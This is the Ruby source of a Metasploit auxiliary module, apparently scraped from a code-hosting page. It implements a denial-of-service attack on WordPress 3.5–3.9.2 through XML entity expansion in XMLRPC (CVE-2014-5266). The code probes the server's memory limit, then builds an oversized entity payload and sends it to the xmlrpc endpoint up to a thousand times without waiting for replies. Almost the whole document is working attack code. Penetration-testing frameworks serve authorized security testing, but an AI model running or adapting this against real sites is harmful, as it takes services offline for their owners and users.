Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::Wordpress7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Wordpress XMLRPC DoS',12'Description' => %q{13Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.14This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are15also patched).16},17'Author' =>18[19'Nir Goldshlager', # advisory20'Christian Mehlmauer' # metasploit module21],22'License' => MSF_LICENSE,23'References' =>24[25['CVE', '2014-5266'],26['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],27['URL', 'http://www.breaksec.com/?p=6362'],28['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],29['URL', 'https://core.trac.wordpress.org/changeset/29404'],30['WPVDB', '7526']31],32'DisclosureDate'=> '2014-08-06'33))3435register_options(36[37OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])38])3940register_advanced_options(41[42OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),43OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])44])45end4647def rlimit48datastore['RLIMIT']49end5051def default_limit52datastore['DEFAULT_LIMIT']53end5455def fingerprint_step56datastore['FINGERPRINT_STEP']57end5859def fingerprint60memory_to_use = fingerprint_step61# try out the available memory in steps62# apache will return a server error if the limit is reached63while memory_to_use < 102464vprint_status("trying memory limit #{memory_to_use}MB")65opts = {66'method' => 'POST',67'uri' => wordpress_url_xmlrpc,68'data' => generate_xml(memory_to_use),69'ctype' =>'text/xml'70}7172begin73# low timeout because the server error is returned immediately74res = send_request_cgi(opts, timeout = 3)75rescue ::Rex::ConnectionError => exception76print_error("unable to connect: '#{exception.message}'")77break78end7980if res && res.code == 50081# limit reached, return last limit82last_limit = memory_to_use - fingerprint_step83vprint_status("got an error - using limit #{last_limit}MB")84return last_limit85else86memory_to_use += fingerprint_step87end88end8990# no limit can be determined91print_warning("can not determine limit, will use default of #{default_limit}")92return default_limit93end9495def generate_xml(size)96entity = Rex::Text.rand_text_alpha(3)97doctype = Rex::Text.rand_text_alpha(6)98param_value_1 = Rex::Text.rand_text_alpha(5)99param_value_2 = Rex::Text.rand_text_alpha(5)100101size_bytes = size * 1024102103# Wordpress only resolves one level of entities so we need104# to specify one long entity and reference it multiple times105xml = '<?xml version="1.0" encoding="iso-8859-1"?>'106xml << "<!DOCTYPE %{doctype} ["107xml << "<!ENTITY %{entity} \"%{entity_value}\">"108xml << ']>'109xml << '<methodCall>'110xml << '<methodName>'111xml << "%{payload}"112xml << '</methodName>'113xml << '<params>'114xml << "<param><value>%{param_value_1}</value></param>"115xml << "<param><value>%{param_value_2}</value></param>"116xml << '</params>'117xml << '</methodCall>'118119empty_xml = xml % {120:doctype => '',121:entity => '',122:entity_value => '',123:payload => '',124:param_value_1 => '',125:param_value_2 => ''126}127128space_to_fill = size_bytes - empty_xml.size129vprint_status("max XML space to fill: #{space_to_fill} bytes")130131payload = "&#{entity};" * (space_to_fill / 6)132entity_value_length = space_to_fill - payload.length133134payload_xml = xml % {135:doctype => doctype,136:entity => entity,137:entity_value => Rex::Text.rand_text_alpha(entity_value_length),138:payload => payload,139:param_value_1 => param_value_1,140:param_value_2 => param_value_2141}142143payload_xml144end145146def run147# get the max size148print_status("trying to fingerprint the maximum memory we could use")149size = fingerprint150print_status("using #{size}MB as memory limit")151152# only generate once153xml = generate_xml(size)154155for x in 1..rlimit156print_status("sending request ##{x}...")157opts = {158'method' => 'POST',159'uri' => wordpress_url_xmlrpc,160'data' => xml,161'ctype' =>'text/xml'162}163begin164c = connect165r = c.request_cgi(opts)166c.send_request(r)167# Don't wait for a response, can take very long168rescue ::Rex::ConnectionError => exception169print_error("unable to connect: '#{exception.message}'")170return171ensure172disconnect(c) if c173end174end175end176end177178179